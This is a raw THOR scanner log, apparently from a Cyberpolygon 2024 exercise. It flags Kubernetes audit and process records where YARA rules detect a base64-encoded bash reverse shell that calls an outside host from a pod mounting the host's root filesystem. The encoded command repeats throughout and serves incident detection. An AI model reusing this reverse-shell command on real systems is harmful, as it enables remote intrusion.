/bin/bash\\\"],\\\"image\\\":\\\"arunvelsriram/utils\\\",\\[...],\"time\":\"2024-09-03T14:16:48Z\",\"fieldsType\":\"FieldsV1\",\"fieldsV1\":{\"f:metadata\":{\"f:annotations\":{\"f:cni.projectcalico.org/containerID\":{},\"f:cni.projectcalico.org/podIP\":{},\"f:cni.projectcalico.org/podIPs\":{}}}},\"subresource\":\"status\"},{\"manager\":\"kubectl-client-side-apply\",\"operation\":\"Update\",\"apiVersion\":\"v1\",\"time\":\"2024-09-03T14:16:48Z\",\"fieldsType\":\"FieldsV1\",\"fieldsV1\":{\"f:metadata\":{\"f:annotations\":{\".\":{},\"f:kubectl.kubernetes.io/last-applied-configuration\":{}},\"f:labels\":{\".\":{},\"f:app\":{}}},\"f:spec\":{\"f:containers\":{\"k:{\\\"name\\\":\\\"mlops-metrics\\\"}\":{\".\":{},\"f:args\":{},\"f:image\":{},\"f:imagePullPolicy\":{},\"f:name\":{},\"f:resources\":{},\"f:securityContext\":{\".\":{},\"f:runAsUser\":{}},\"f:terminationMessagePath\":{},\"f:terminationMessagePolicy\":{},\"f:volumeMounts\":{\".\":{},\"k:{\\\"mountPath\\\":\\\"/host\\\"}\":{ SCORE: 88 FILE: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json LOG_MODIFIED: Fri Sep  6 17:24:04 2024 LOG_ACCESSED: Tue Sep 10 09:09:49 2024 LOG_CREATED: Tue Sep 10 09:09:01 2024 REASON_1: YARA rule SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 / Detects suspicious base64 bash commands often found in hack tools SUBSCORE_1: 75 REF_1: https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "iYXNoIC1pID4mIC9kZXYvdGNwL" RULEDATE_1: 2023-03-25 TAGS_1: LINUX, OBFUS, SCRIPT, SUSP, T1027, T1059_004, T1070_003, T1132_001 RULENAME_1: SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 / Detects suspicious base64 encoded bash reverse shell patterns SUBSCORE_2: 70 REF_2: Internal Research SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "4mIC9kZXYvdGNwL" RULEDATE_2: 2022-03-01 TAGS_2: SCRIPT, SUSP, T1059_004, T1132_001 RULENAME_2: SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 AUTHOR_2: Florian Roth REASONS_COUNT: 5 FILE_1: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 3849046354 MD5_1: 061989e8968def80272975a77e292315 SHA1_1: 5a46eaa9cb8e7bda926b41ac2861328ea6df4b3d SHA256_1: 379571c2c3136781ad4ff07c5b6189900cabb46c4bc77bd2e42db8203d691e12 FIRSTBYTES_1: 7b225f696e646578223a226379626572706f6c79 / {"_index":"cyberpoly CREATED_1: Tue Sep 10 09:09:01.408 2024 OWNER_1: BUILTIN\Administrators
Sep 10 18:39:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-SuOJqXNEdu8 ENTRY: {"_index":"cyberpolygon2024-mercurylark-k8s","_id":"34I_uJEBNKI3r7qckC81","_score":1,"_source":{"@timestamp":"2024-09-03T14:17:35.965Z","type":"k8s","event":{"original":"{\"kind\":\"Event\",\"apiVersion\":\"audit.k8s.io/v1\",\"level\":\"RequestResponse\",\"auditID\":\"e19bb517-20b7-4c99-8e9f-3daa35b7a341\",\"stage\":\"ResponseComplete\",\"requestURI\":\"/api/v1/namespaces/prod/pods/mlops-metrics/status\",\"verb\":\"patch\",\"user\":{\"username\":\"system:node:k8s-node01\",\"groups\":[\"system:nodes\",\"system:authenticated\"]},\"sourceIPs\":[\"10.24.118.57\"],\"userAgent\":\"kubelet/v1.29.8 (linux/amd64) kubernetes/234bc63\",\"objectRef\":{\"resource\":\"pods\",\"namespace\":\"prod\",\"name\":\"mlops-metrics\",\"apiVersion\":\"v1\",\"subresource\":\"status\"},\"responseStatus\":{\"metadata\":{},\"code\":200},\"requestObject\":{\"metadata\":{\"uid\":\"1ab33031-f4eb-47a9-a8ab-af27c89bacbb\"},\"status\":{\"container[...]"args\\\":[\\\"sh\\\",\\\"-c\\\",\\\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\\\"],\\\"image\\\":\\\"arunvelsriram/utils\\\",\\[...]\":\"FieldsV1\",\"fieldsV1\":{\"f:metadata\":{\"f:annotations\":{\"f:cni.projectcalico.org/containerID\":{},\"f:cni.projectcalico.org/podIP\":{},\"f:cni.projectcalico.org/podIPs\":{}}}},\"subresource\":\"status\"},{\"manager\":\"kubectl-client-side-apply\",\"operation\":\"Update\",\"apiVersion\":\"v1\",\"time\":\"2024-09-03T14:16:48Z\",\"fieldsType\":\"FieldsV1\",\"fieldsV1\":{\"f:metadata\":{\"f:annotations\":{\".\":{},\"f:kubectl.kubernetes.io/last-applied-configuration\":{}},\"f:labels\":{\".\":{},\"f:app\":{}}},\"f:spec\":{\"f:containers\":{\"k:{\\\"name\\\":\\\"mlops-metrics\\\"}\":{\".\":{},\"f:args\":{},\"f:image\":{},\"f:imagePullPolicy\":{},\"f:name\":{},\"f:resources\":{},\"f:securityContext\":{\".\":{},\"f:runAsUser\":{}},\"f:terminationMessagePath\":{},\"f:terminationMessagePolicy\":{},\"f:volumeMounts\":{\".\":{},\"k:{\\\"mountPath\\\":\\\"/host\\\"}\":{\".\":{},\"f:mountPath\":{},\"f:name\":{}}}}},\ SCORE: 88 FILE: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json LOG_MODIFIED: Fri Sep  6 17:24:04 2024 LOG_ACCESSED: Tue Sep 10 09:09:49 2024 LOG_CREATED: Tue Sep 10 09:09:01 2024 REASON_1: YARA rule SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 / Detects suspicious base64 bash commands often found in hack tools SUBSCORE_1: 75 REF_1: https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "iYXNoIC1pID4mIC9kZXYvdGNwL" RULEDATE_1: 2023-03-25 TAGS_1: LINUX, OBFUS, SCRIPT, SUSP, T1027, T1059_004, T1070_003, T1132_001 RULENAME_1: SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 / Detects suspicious base64 encoded bash reverse shell patterns SUBSCORE_2: 70 REF_2: Internal Research SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "4mIC9kZXYvdGNwL" RULEDATE_2: 2022-03-01 TAGS_2: SCRIPT, SUSP, T1059_004, T1132_001 RULENAME_2: SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 AUTHOR_2: Florian Roth REASONS_COUNT: 5 FILE_1: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 3849046354 MD5_1: 061989e8968def80272975a77e292315 SHA1_1: 5a46eaa9cb8e7bda926b41ac2861328ea6df4b3d SHA256_1: 379571c2c3136781ad4ff07c5b6189900cabb46c4bc77bd2e42db8203d691e12 FIRSTBYTES_1: 7b225f696e646578223a226379626572706f6c79 / {"_index":"cyberpoly CREATED_1: Tue Sep 10 09:09:01.408 2024 OWNER_1: BUILTIN\Administrators
Sep 10 18:39:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-SuOJqXNEdu8 ENTRY: {"_index":"cyberpolygon2024-mercurylark-k8s","_id":"U4I_uJEBNKI3r7qc3jxh","_score":1,"_source":{"@timestamp":"2024-09-03T14:17:50.154Z","type":"k8s","event":{"original":"{\"process_exec\":{\"process\":{\"exec_id\":\"azhzLW5vZGUwMTo5NzA4OTk5NTY4NTQ4NTY6MTY2NTE3\", \"pid\":166517, \"uid\":0, \"cwd\":\"/home/utils\", \"binary\":\"/bin/bash\", \"flags\":\"execve clone\", \"start_time\":\"2024-09-03T14:17:48.426919025Z\", \"auid\":4294967295, \"pod\":{\"namespace\":\"prod\", \"name\":\"mlops-metrics\", \"container\":{\"id\":\"cri-o://fdcd66e90be354011d42578ba2f1fd05285c5487627321edd9f5737da5bc669e\", \"name\":\"mlops-metrics\", \"image\":{\"id\":\"docker.io/arunvelsriram/utils@sha256:4d9e72a00b0c961c78d2392f2da7700c3c34e2181295833130ff4fbc7512a550\", \"name\":\"docker.io/arunvelsriram/utils:latest\"}, \"start_time\":\"2024-09-03T14:17:48Z\", \"pid\":9}, \"pod_labels\":{\"app\":\"mlops-metrics\"}, \"workload\":\"mlops-metrics\", \"workload_kind\":\"Pod\"}, \"docker\":\"fdcd66e90be354011d42578ba2f1fd0\", \"parent_exec_id\":\"azhzLW5vZGUwMTo5NzA4OTk5NTU5MTYyOTA6MTY2NDgw\", \"tid\":166517}, \"pa[...]:\"/bin/sh\", \"arguments\":\"-c \\\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\\\"\", \"flags\":\"execve clone\", \"start_time\"[...]/fdcd66e90be354011d42578ba2f1fd05285c5487627321edd9f5737da5bc669e","name":"mlops-metrics","start_time":"2024-09-03T14:17:48Z","pid":9,"image":{"id":"docker.io/arunvelsriram/utils@sha256:4d9e72a00b0c961c78d2392f2da7700c3c34e2181295833130ff4fbc7512a550","name":"docker.io/arunvelsriram/utils:latest"}},"namespace":"prod","workload":"mlops-metrics"},"exec_id":"azhzLW5vZGUwMTo5NzA4OTk5NTY4NTQ4NTY6MTY2NTE3"},"parent":{"arguments":"-c \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"","flags":"execve clone","auid":4294967295,"commandline":"/bin/sh -c \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"","pid":166480,"cwd":"/home/utils","start_t SCORE: 88 FILE: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json LOG_MODIFIED: Fri Sep  6 17:24:04 2024 LOG_ACCESSED: Tue Sep 10 09:09:49 2024 LOG_CREATED: Tue Sep 10 09:09:01 2024 REASON_1: YARA rule SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 / Detects suspicious base64 bash commands often found in hack tools SUBSCORE_1: 75 REF_1: https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "iYXNoIC1pID4mIC9kZXYvdGNwL" RULEDATE_1: 2023-03-25 TAGS_1: LINUX, OBFUS, SCRIPT, SUSP, T1027, T1059_004, T1070_003, T1132_001 RULENAME_1: SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 / Detects suspicious base64 encoded bash reverse shell patterns SUBSCORE_2: 70 REF_2: Internal Research SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "4mIC9kZXYvdGNwL" RULEDATE_2: 2022-03-01 TAGS_2: SCRIPT, SUSP, T1059_004, T1132_001 RULENAME_2: SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 AUTHOR_2: Florian Roth REASONS_COUNT: 5 FILE_1: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 3849046354 MD5_1: 061989e8968def80272975a77e292315 SHA1_1: 5a46eaa9cb8e7bda926b41ac2861328ea6df4b3d SHA256_1: 379571c2c3136781ad4ff07c5b6189900cabb46c4bc77bd2e42db8203d691e12 FIRSTBYTES_1: 7b225f696e646578223a226379626572706f6c79 / {"_index":"cyberpoly CREATED_1: Tue Sep 10 09:09:01.408 2024 OWNER_1: BUILTIN\Administrators
Sep 10 18:39:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-SuOJqXNEdu8 ENTRY: {"_index":"cyberpolygon2024-mercurylark-k8s","_id":"VoI_uJEBNKI3r7qc3jxh","_score":1,"_source":{"@timestamp":"2024-09-03T14:17:50.154Z","type":"k8s","event":{"original":"{\"process_exec\":{\"process\":{\"exec_id\":\"azhzLW5vZGUwMTo5NzA4OTk5NTU5MTYyOTA6MTY2NDgw\", \"pid\":166480, \"uid\":0, \"cwd\":\"/home/utils\", \"binary\":\"/bin/sh\", \"arguments\":\"-c \\\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\\\"\", \"flags\":\"execve clone\", \"start_time\":\"2024-09-03T14:17:48.425980113Z\", \"auid\":4294967295, \"pod\":{\"namespace\":\"prod\", \"name\":\"mlops-metrics\", \"container\":{\"id\":\"cri-o://fdcd66e90be354011d42578ba2f1fd05285c5487627321edd9f5737da5bc669e\", \"name\":\"mlops-metrics\", \"image\":{\"id\":\"docker.io/arunvelsriram/utils@sha256:4d9e72a00b0c961c78d2392f2da7700c3c34e2181295833130ff4fbc7512a550\", \"name\":\"docker.io/arunvelsriram/utils:latest\"}, \"start_time\":\"2024-09-03T14:17:48Z\", \"pid\":1}, \"pod_labels\":{\"app\":\"mlops-metrics\"}, \"workload\":\"mlops-metrics\", \"workload_kind\":\"Pod\"}, \"docker\":\"fdcd66e90be354011d42578ba2f1fd0\", \"parent_exec_id\":\"azhzLW5vZGUwMTo5NzA4OTk4ODcyMjIxNTE6MTY2NDY2\", \"tid\":166480}, \"parent\":{\"exec_id\":\"azhzLW5vZGUwMTo5NzA4OTk4ODcyMjIxNTE6MTY2N[...]4.118.57"]},"tags":["beats_input_codec_plain_applied"],"input":{},"k8s":{"runtime":{"node_name":"k8s-node01","time":"2024-09-03T14:17:48.425980320Z","process_exec":{"process":{"arguments":"-c \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"","flags":"execve clone","auid":4294967295,"commandline":"/bin/sh -c \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"","pid":166480,"cwd":"/home/utils","start_time":"2024-09-03T14:17:48.425980113Z","docker":"fdcd66e90be354011d42578ba2f1fd0","parent_exec_id":"azhzLW5vZGUwMTo5NzA4OTk4ODcyMjIxNTE6MTY2NDY2","tid":166480,"uid":0,"binary":"/bin/sh","pod":{"name":"mlops-metrics","workload_kind":"Pod","c SCORE: 88 FILE: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json LOG_MODIFIED: Fri Sep  6 17:24:04 2024 LOG_ACCESSED: Tue Sep 10 09:09:49 2024 LOG_CREATED: Tue Sep 10 09:09:01 2024 REASON_1: YARA rule SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 / Detects suspicious base64 bash commands often found in hack tools SUBSCORE_1: 75 REF_1: https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "iYXNoIC1pID4mIC9kZXYvdGNwL" RULEDATE_1: 2023-03-25 TAGS_1: LINUX, OBFUS, SCRIPT, SUSP, T1027, T1059_004, T1070_003, T1132_001 RULENAME_1: SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 / Detects suspicious base64 encoded bash reverse shell patterns SUBSCORE_2: 70 REF_2: Internal Research SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "4mIC9kZXYvdGNwL" RULEDATE_2: 2022-03-01 TAGS_2: SCRIPT, SUSP, T1059_004, T1132_001 RULENAME_2: SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 AUTHOR_2: Florian Roth REASONS_COUNT: 5 FILE_1: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 3849046354 MD5_1: 061989e8968def80272975a77e292315 SHA1_1: 5a46eaa9cb8e7bda926b41ac2861328ea6df4b3d SHA256_1: 379571c2c3136781ad4ff07c5b6189900cabb46c4bc77bd2e42db8203d691e12 FIRSTBYTES_1: 7b225f696e646578223a226379626572706f6c79 / {"_index":"cyberpoly CREATED_1: Tue Sep 10 09:09:01.408 2024 OWNER_1: BUILTIN\Administrators
Sep 10 18:39:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-SuOJqXNEdu8 ENTRY: {"_index":"cyberpolygon2024-mercurylark-k8s","_id":"wYI_uJEBNKI3r7qc3jxk","_score":1,"_source":{"@timestamp":"2024-09-03T14:17:50.154Z","type":"k8s","event":{"original":"{\"process_exec\":{\"process\":{\"exec_id\":\"azhzLW5vZGUwMTo5NzA4OTk5NTg2MTc2NzU6MTY2NTE2\", \"pid\":166516, \"uid\":0, \"cwd\":\"/home/utils\", \"binary\":\"/usr/bin/base64\", \"arguments\":\"-d\", \"flags\":\"execve clone\", \"start_time\":\"2024-09-03T14:17:48.428681947Z\", \"auid\":4294967295, \"pod\":{\"namespace\":\"prod\", \"name\":\"mlops-metrics\", \"container\":{\"id\":\"cri-o://fdcd66e90be354011d42578ba2f1fd05285c5487627321edd9f5737da5bc669e\", \"name\":\"mlops-metrics\", \"image\":{\"id\":\"docker.io/arunvelsriram/utils@sha256:4d9e72a00b0c961c78d2392f2da7700c3c34e2181295833130ff4fbc7512a550\", \"name\":\"docker.io/arunvelsriram/utils:latest\"}, \"start_time\":\"2024-09-03T14:17:48Z\", \"pid\":8}, \"pod_labels\":{\"app\":\"mlops-metrics\"}, \"workload\":\"mlops-metrics\", \"workload_kind\":\"Pod\"}, \"docker\":\"fdcd66e90be354011d42578ba2f1fd0\", \"parent_exec_id\":\"azhzLW5vZGU[...]:\"/bin/sh\", \"arguments\":\"-c \\\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\\\"\", \"flags\":\"execve clone\", \"start_time\"[...]bin/base64","pod":{"name":"mlops-metrics","workload_kind":"Pod","container":{"id":"cri-o://fdcd66e90be354011d42578ba2f1fd05285c5487627321edd9f5737da5bc669e","name":"mlops-metrics","start_time":"2024-09-03T14:17:48Z","pid":8,"image":{"id":"docker.io/arunvelsriram/utils@sha256:4d9e72a00b0c961c78d2392f2da7700c3c34e2181295833130ff4fbc7512a550","name":"docker.io/arunvelsriram/utils:latest"}},"namespace":"prod","workload":"mlops-metrics"},"exec_id":"azhzLW5vZGUwMTo5NzA4OTk5NTg2MTc2NzU6MTY2NTE2"},"parent":{"arguments":"-c \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\"","flags":"execve clone","auid":4294967295,"commandline":"/bin/sh -c \"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 SCORE: 88 FILE: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json LOG_MODIFIED: Fri Sep  6 17:24:04 2024 LOG_ACCESSED: Tue Sep 10 09:09:49 2024 LOG_CREATED: Tue Sep 10 09:09:01 2024 REASON_1: YARA rule SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 / Detects suspicious base64 bash commands often found in hack tools SUBSCORE_1: 75 REF_1: https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "iYXNoIC1pID4mIC9kZXYvdGNwL" RULEDATE_1: 2023-03-25 TAGS_1: LINUX, OBFUS, SCRIPT, SUSP, T1027, T1059_004, T1070_003, T1132_001 RULENAME_1: SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 / Detects suspicious base64 encoded bash reverse shell patterns SUBSCORE_2: 70 REF_2: Internal Research SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "4mIC9kZXYvdGNwL" RULEDATE_2: 2022-03-01 TAGS_2: SCRIPT, SUSP, T1059_004, T1132_001 RULENAME_2: SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 AUTHOR_2: Florian Roth REASONS_COUNT: 5 FILE_1: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 3849046354 MD5_1: 061989e8968def80272975a77e292315 SHA1_1: 5a46eaa9cb8e7bda926b41ac2861328ea6df4b3d SHA256_1: 379571c2c3136781ad4ff07c5b6189900cabb46c4bc77bd2e42db8203d691e12 FIRSTBYTES_1: 7b225f696e646578223a226379626572706f6c79 / {"_index":"cyberpoly CREATED_1: Tue Sep 10 09:09:01.408 2024 OWNER_1: BUILTIN\Administrators
Sep 10 18:39:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-SuOJqXNEdu8 ENTRY: {"_index":"cyberpolygon2024-mercurylark-k8s","_id":"y4I_uJEBNKI3r7qc3jxk","_score":1,"_source":{"@timestamp":"2024-09-03T14:17:49.971Z","type":"k8s","event":{"original":"{\"kind\":\"Event\",\"apiVersion\":\"audit.k8s.io/v1\",\"level\":\"RequestResponse\",\"auditID\":\"1a825c2c-71a2-45df-a947-32d1c33d6f9f\",\"stage\":\"ResponseComplete\",\"requestURI\":\"/api/v1/namespaces/prod/pods/mlops-metrics/status\",\"verb\":\"patch\",\"user\":{\"username\":\"system:node:k8s-node01\",\"groups\":[\"system:nodes\",\"system:authenticated\"]},\"sourceIPs\":[\"10.24.118.57\"],\"userAgent\":\"kubelet/v1.29.8 (linux/amd64) kubernetes/234bc63\",\"objectRef\":{\"resource\":\"pods\",\"namespace\":\"prod\",\"name\":\"mlops-metrics\",\"apiVersion\":\"v1\",\"subresource\":\"status\"},\"responseStatus\":{\"metadata\":{},\"code\":200},\"requestObject\":{\"metadata\":{\"uid\":\"1ab33031-f4eb-47a9-a8ab-af27c89bacbb\"},\"status\":{\"$setEleme[...]"args\\\":[\\\"sh\\\",\\\"-c\\\",\\\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\\\"],\\\"image\\\":\\\"arunvelsriram/utils\\\",\\[...]th\\\":\\\"/host\\\",\\\"name\\\":\\\"hostvolume\\\"}]}],\\\"volumes\\\":[{\\\"hostPath\\\":{\\\"path\\\":\\\"/\\\",\\\"type\\\":\\\"Directory\\\"},\\\"name\\\":\\\"hostvolume\\\"}]}}\\n\"},\"managedFields\":[{\"manager\":\"calico\",\"operation\":\"Update\",\"apiVersion\":\"v1\",\"time\":\"2024-09-03T14:16:48Z\",\"fieldsType\":\"FieldsV1\",\"fieldsV1\":{\"f:metadata\":{\"f:annotations\":{\"f:cni.projectcalico.org/containerID\":{},\"f:cni.projectcalico.org/podIP\":{},\"f:cni.projectcalico.org/podIPs\":{}}}},\"subresource\":\"status\"},{\"manager\":\"kubectl-client-side-apply\",\"operation\":\"Update\",\"apiVersion\":\"v1\",\"time\":\"2024-09-03T14:16:48Z\",\"fieldsType\":\"FieldsV1\",\"fieldsV1\":{\"f:metadata\":{\"f:annotations\":{\".\":{},\"f:kubectl.kubernetes.io/last-applied-configuration\":{}},\"f:labels\":{\".\":{},\"f:app\":{}}},\"f:spec\":{\"f:containers\":{\"k:{\\\"name\\\":\\\"mlops-metrics\\\"}\":{\".\" SCORE: 88 FILE: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json LOG_MODIFIED: Fri Sep  6 17:24:04 2024 LOG_ACCESSED: Tue Sep 10 09:09:49 2024 LOG_CREATED: Tue Sep 10 09:09:01 2024 REASON_1: YARA rule SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 / Detects suspicious base64 bash commands often found in hack tools SUBSCORE_1: 75 REF_1: https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "iYXNoIC1pID4mIC9kZXYvdGNwL" RULEDATE_1: 2023-03-25 TAGS_1: LINUX, OBFUS, SCRIPT, SUSP, T1027, T1059_004, T1070_003, T1132_001 RULENAME_1: SUSP_LNX_OBFUSC_Base64_Encoded_Bash_Commands_Mar23_1 AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 / Detects suspicious base64 encoded bash reverse shell patterns SUBSCORE_2: 70 REF_2: Internal Research SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "4mIC9kZXYvdGNwL" RULEDATE_2: 2022-03-01 TAGS_2: SCRIPT, SUSP, T1059_004, T1132_001 RULENAME_2: SUSP_Base64_Encoded_Bash_RevShell_Pattern_Mar22_1 AUTHOR_2: Florian Roth REASONS_COUNT: 5 FILE_1: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024\k8s\data\cyberpolygon2024-mercurylark-k8s.json EXISTS_1: yes TYPE_1: UNKNOWN SIZE_1: 3849046354 MD5_1: 061989e8968def80272975a77e292315 SHA1_1: 5a46eaa9cb8e7bda926b41ac2861328ea6df4b3d SHA256_1: 379571c2c3136781ad4ff07c5b6189900cabb46c4bc77bd2e42db8203d691e12 FIRSTBYTES_1: 7b225f696e646578223a226379626572706f6c79 / {"_index":"cyberpoly CREATED_1: Tue Sep 10 09:09:01.408 2024 OWNER_1: BUILTIN\Administrators
Sep 10 18:39:20 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-SuOJqXNEdu8 ENTRY: {"_index":"cyberpolygon2024-mercurylark-k8s","_id":"x4I_uJEBNKI3r7qcaSsw","_score":1,"_source":{"@timestamp":"2024-09-03T14:17:22.150Z","type":"k8s","event":{"original":"{\"process_exec\":{\"process\":{\"exec_id\":\"azhzLW5vZGUwMTo5NzA4NzE5MzIxNDUwMDY6MTY0NzYw\", \"pid\":164760, \"uid\":0, \"cwd\":\"/home/utils\", \"binary\":\"/bin/sh\", \"arguments\":\"-c \\\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | /bin/bash\\\"\", \"flags\":\"execve clone\", \"start_time\":\"2024-09-03T14:17:20.402209123Z\", \"auid\":4294967295, \"pod\":{\"namespace\":\"prod\", \"name\":\"mlops-metrics\", \"container\":{\"id\":\"cri-o://11c3efd882aa61732eccba3bdd9d6db3cc4128c22036953fd9609d43620c277b\", \"name\":\"mlops-metrics\", \"image\":{\"id\":\"docker.io/arunvelsriram/utils@sha256:4d9e72a00b0c961c78d2392f2da7700c3c34e2181295833130ff4fbc7512a550\", \"name\":\"docker.io/arunvelsriram/utils:latest\"}, \"pid\":1}, \"pod_labels\":{\"app\":\"mlops-metrics\"}, \"workload\":\"mlops-metrics\", \"workload_kind\":\"Pod\"}, \"docker\":\"11c3efd882aa61732eccba3bdd9d6db\", \"parent_exec_id\":\"azhzLW5vZGUwMTo5NzA4NzE4NzUyMzc1MDc6MTY0NzQ2\", \"tid\":164760}, \"parent\":{\"exec_id\":\"azhzLW5vZGUwMTo5NzA4NzE4NzUyMzc1MDc6MTY0NzQ2\", \"pid\":164746, \"uid\":0, \"cwd\"[...]ain_applied"],"input":{},"k8s":{"runtime":{"node_name":"k8s-node01","time":"2024-09-03T14:17:20.402208808Z","process_exec":{"process":{"arguments":"-c \"echo 